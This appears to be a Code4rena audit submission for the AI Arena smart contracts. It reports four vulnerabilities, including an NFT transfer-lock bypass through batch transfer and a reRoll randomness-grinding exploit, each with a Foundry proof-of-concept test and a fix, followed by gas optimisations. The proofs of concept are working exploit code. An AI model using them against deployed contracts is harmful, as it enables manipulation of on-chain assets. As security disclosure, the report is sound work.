AI Arena - kiqo's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/70b73ce5acaf10bc331cf388d35e4edff88d4541/src/GameItems.sol#L291

Vulnerability details

Impact

In GameItems.sol, one of the properties of items in wether they can be transfered between users, as defined in the parameter transferable. This propertie is enforeced by overriding safeTransferFrom and checking if the item is allowed to be Transfered.

However the used ERC1155 has another function for token transfer which is safeBatchTransferFrom. By using this function to transfer tokens users can get around the lock defined by the parameter transferable.

Proof of Concept

Add the following code to GameItems.t.sol, and run forge test --mt testBypassTransferFromLock

 function testBypassTransferFromLock() public {
        _fundUserWith4kNeuronByTreasury(_ownerAddress);
        _gameItemsContract.adjustTransferability(0, false);
        _gameItemsContract.mint(0, 1);
        vm.expectRevert();
        _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, "");
        uint256[] memory ids = new uint256[](1);
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = 1;
        _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, "");
        assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1);
        assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 0);
    }

Tools Used

Foundry

Recommended Mitigation Steps

To correct this issue add an override to safeBatchTransferFrom in GameItems.sol like so:

function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] memory ids,
        uint256[] memory amounts,
        bytes memory data
    ) public virtual override {
        require(
            from == _msgSender() || isApprovedForAll(from, _msgSender()),
            "ERC1155: caller is not token owner nor approved"
        );
        for (uint256 i = 0; i < ids.length;) {
            require(allGameItemAttributes[ids[i]].transferable, "can't transfer");
            unchecked {
                i++;
            }
        }

        _safeBatchTransferFrom(from, to, ids, amounts, data);
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/FighterFarm.sol#L370

Vulnerability details

Impact

Any NFT minted in FighterFarm.sol with ID larger than 255 will not be able to call reRoll.

Proof of Concept

Pasting the following function in FighterFarm.t.sol will cause the compiler to throw an error.

    function testReRollIdLarger255() public {
        _fighterFarmContract.reRoll(256, 0);
    }

Tools Used

Foundry

Recommended Mitigation Steps

Change tokenIdfrom uint8 to uint256

- function reRoll(uint8 tokenId, uint8 fighterType) public 
+ function reRoll(uint256 tokenId, uint8 fighterType) public 

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/cd1a0e6d1b40168657d1aaee8223dc050e15f8cc/src/MergingPool.sol#L139

Vulnerability details

Impact

Users that win a raffle in MerginPool.sol, can call claimRewards function to mint and NFT in FighterFarm::mintFromMergingPool, with their desired attributes. These attributes are not validated leading to the creation of a NFT with invalid attributes.

Proof of Concept

For example in the first generation of NFT it is specified in the constructor that the number of available elements is 3. However we can pass an arbitrary number in claimRewardsand have the element attribute of the NFT be any number.

Place the following code in MergingPool.t.sol and run forge test --mt testMergingPoolClaimRewardsLetsUserPickInvalidElement

    function testMergingPoolClaimRewardsLetsUserPickInvalidElement() public {
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_DELEGATED_ADDRESS);

        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;

        _mergingPoolContract.pickWinner(_winners);
        string[] memory _modelURIs = new string[](1);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        string[] memory _modelTypes = new string[](1);
        _modelTypes[0] = "original";

        uint256[2][] memory _customAttributes = new uint256[2][](1);
        _customAttributes[0][0] = type(uint256).max;
        _customAttributes[0][1] = type(uint256).max;
        // Mint NFT with ID = 2
        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

        (,, uint256 weight, uint256 element,,,) = _fighterFarmContract.getAllFighterInfo(2);
        assertEq(weight, type(uint256).max);
        assertEq(element, type(uint256).max);
    }

Tools Used

Foundry

Recommended Mitigation Steps

Add validation to the customAttributes input like so

  function claimRewards(
        string[] calldata modelURIs, 
        string[] calldata modelTypes,
        uint256[2][] calldata customAttributes
    ) 
        external 
    {
        uint256 winnersLength;
        uint32 claimIndex = 0;
        uint32 lowerBound = numRoundsClaimed[msg.sender];
        for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
            numRoundsClaimed[msg.sender] += 1;
            winnersLength = winnerAddresses[currentRound].length;
            for (uint32 j = 0; j < winnersLength; j++) {
                if (msg.sender == winnerAddresses[currentRound][j]) {
+                    uint256 numElements = _fighterFarmInstance.numElements(0);
+                    if(customAttributes[claimIndex][0] > numElements) revert();
                    _fighterFarmInstance.mintFromMergingPool(
                        msg.sender,
                        modelURIs[claimIndex],
                        modelTypes[claimIndex],
                        customAttributes[claimIndex]
                    );
                    claimIndex += 1;
                }
            }
        }
        if (claimIndex > 0) {
            emit Claimed(msg.sender, claimIndex);
        }
    }

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/FighterFarm.sol#L370

Vulnerability details

Impact

Users that own an NFT in FighterFarm.sol can use FighterFarm::reRoll to change the NFT attributes to any they desire.

Proof of Concept

For example, let's say a user wants a fighter with a weight of 65. They could generate wallets until the address used in the RNG of FighterFarm::reRoll creates a fighter with weight 65, then transfer the NFT and the necessary Neuron tokens to that address call reRoll making the weight 65 and transfer NFT back to the original account. Copy the following code into FighterFarm.t.sol and run forge test --mt testRerollExploit

    function testRerollExploit() public {
        _mintFromMergingPool(_ownerAddress);
        _fundUserWith4kNeuronByTreasury(_ownerAddress);

        uint256 numRerolls = _fighterFarmContract.numRerolls(0) + 1;
        uint8 tokenId = 0;
        uint8 fighterType = 0;

        //For example target wieght is 65
        uint256 targetWeight = 65;

        address goodRNG;
        for (uint256 i = 1; i < 1000; i++) {
            goodRNG = vm.addr(i);
            uint256 dna = uint256(keccak256(abi.encode(goodRNG, tokenId, numRerolls)));
            if (dna % 31 + 65 == targetWeight) {
                break;
            }
        }

        console.log(goodRNG);
        vm.startPrank(_ownerAddress);
        _neuronContract.addSpender(address(_fighterFarmContract));
        //transfer assets to good rng account
        _fighterFarmContract.transferFrom(_ownerAddress, goodRNG, 0);
        _neuronContract.transfer(goodRNG, _neuronContract.balanceOf(_ownerAddress));
        vm.stopPrank();

        vm.startPrank(goodRNG);
        _neuronContract.approve(address(_fighterFarmContract), type(uint256).max);
        _fighterFarmContract.reRoll(tokenId, fighterType);
        //transfer assets back to original account
        _neuronContract.transfer(_ownerAddress, _neuronContract.balanceOf(goodRNG));
        _fighterFarmContract.transferFrom(goodRNG, _ownerAddress, 0);
        vm.stopPrank();

        (uint256 weight,,,,,,,,) = _fighterFarmContract.fighters(0);
        assertEq(weight, targetWeight);
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
    }

This example was to get weight = 65, but this proccess could be perform to achieve any desired properites.

Tools Used

Foundry

Recommended Mitigation Steps

To resolve this issue either use a Verifiable Random Function (VRF) provider such as Chainlink VRF, or since this project is already highly reliant on their external game servers use those to generate RNG for the NFT.

Assessed type

Other

VoltageManager

In VoltageManager.sol changing the following mappings and event in the following fashion, leads to gas savings.

https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/VoltageManager.sol#L36

https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/VoltageManager.sol#L39

https://github.com/code-423n4/2024-02-ai-arena/blob/f2952187a8afc44ee6adc28769657717b498b7d4/src/VoltageManager.sol#L16

- event VoltageRemaining(address spender, uint8 voltage);  
+ event VoltageRemaining(address spender, uint256 voltage);  

- mapping(address => uint32) public ownerVoltageReplenishTime;
+ mapping(address => uint256) public ownerVoltageReplenishTime;

- mapping(address => uint8) public ownerVoltage;
+ mapping(address => uint256) public ownerVoltage;

POC

By making the changes and running forge test --mt testUseVolatgeBattery --gas-report We get a gas saving of 130 gas when calling VoltManager::useVoltageBattery

And running forge test --mt testSpendVoltageTriggerReplenishVoltage --gas-report We get a gas saving of 463 gas when calling VoltManager::spendVoltage

FighterOps

In FighterOps.sol , FighterPhysicalAttributes are defined as

    struct FighterPhysicalAttributes {
        uint256 head;
        uint256 eyes;
        uint256 mouth;
        uint256 body;
        uint256 hands;
        uint256 feet;
    }

This structure is stored in FighterFarm.sol, and occupies 6 storage slots, however the values that are set for these attributes in AiArenaHelper::dnaToIndex can only have a maximum value of 256. Therefore we can change it to store them all in a single storage slot

 struct FighterPhysicalAttributes {
        uint16 head;
        uint16 eyes;
        uint16 mouth;
        uint16 body;
        uint16 hands;
        uint16 feet;
    }

Also for Fighterin the same file

 struct Fighter {
        uint256 weight;
        uint256 element;
        FighterPhysicalAttributes physicalAttributes;
        uint256 id;
        string modelHash;
        string modelType;
        uint8 generation;
        uint8 iconsType;
        bool dendroidBool;
    }

Weight and element fields that are set in `FighterFarm::_createFighterBase can only have values below 256 therefore the struct can be changed to

struct Fighter {
        uint8 weight;
        uint8 element;
        uint8 generation;
        uint8 iconsType;
        bool dendroidBool;
        FighterPhysicalAttributes physicalAttributes;
        uint256 id;
        string modelHash;
        string modelType;
      
    }

For further gas savings in storage

AiArenaHelper

In AiArenaHelper.sol We can change the following mapping

-    mapping(string => uint8) public attributeToDnaDivisor;
+    mapping(string => uint256) public attributeToDnaDivisor;

And running forge test --mt testClaimFighters --gas-report we observe a saving of 36 gas when calling FighterFarm::claimFighters

GameItems

In GameItems.sol, when calling mint the internal _mint() function takes as argument bytes memory which is set to a consant bytes(random), changing this

-            _mint(msg.sender, tokenId, quantity, bytes("random"));
+            _mint(msg.sender, tokenId, quantity, "");

and running forge test --mt testAdjustTransferabilityFromOwner --gas-report we observe a gas saving of 133 when using mint

RankedBattle

RankedBattle.sol has a duplicate storage variable named _stakeAtRiskAddress, which value is equal to _stakeAtRiskInstance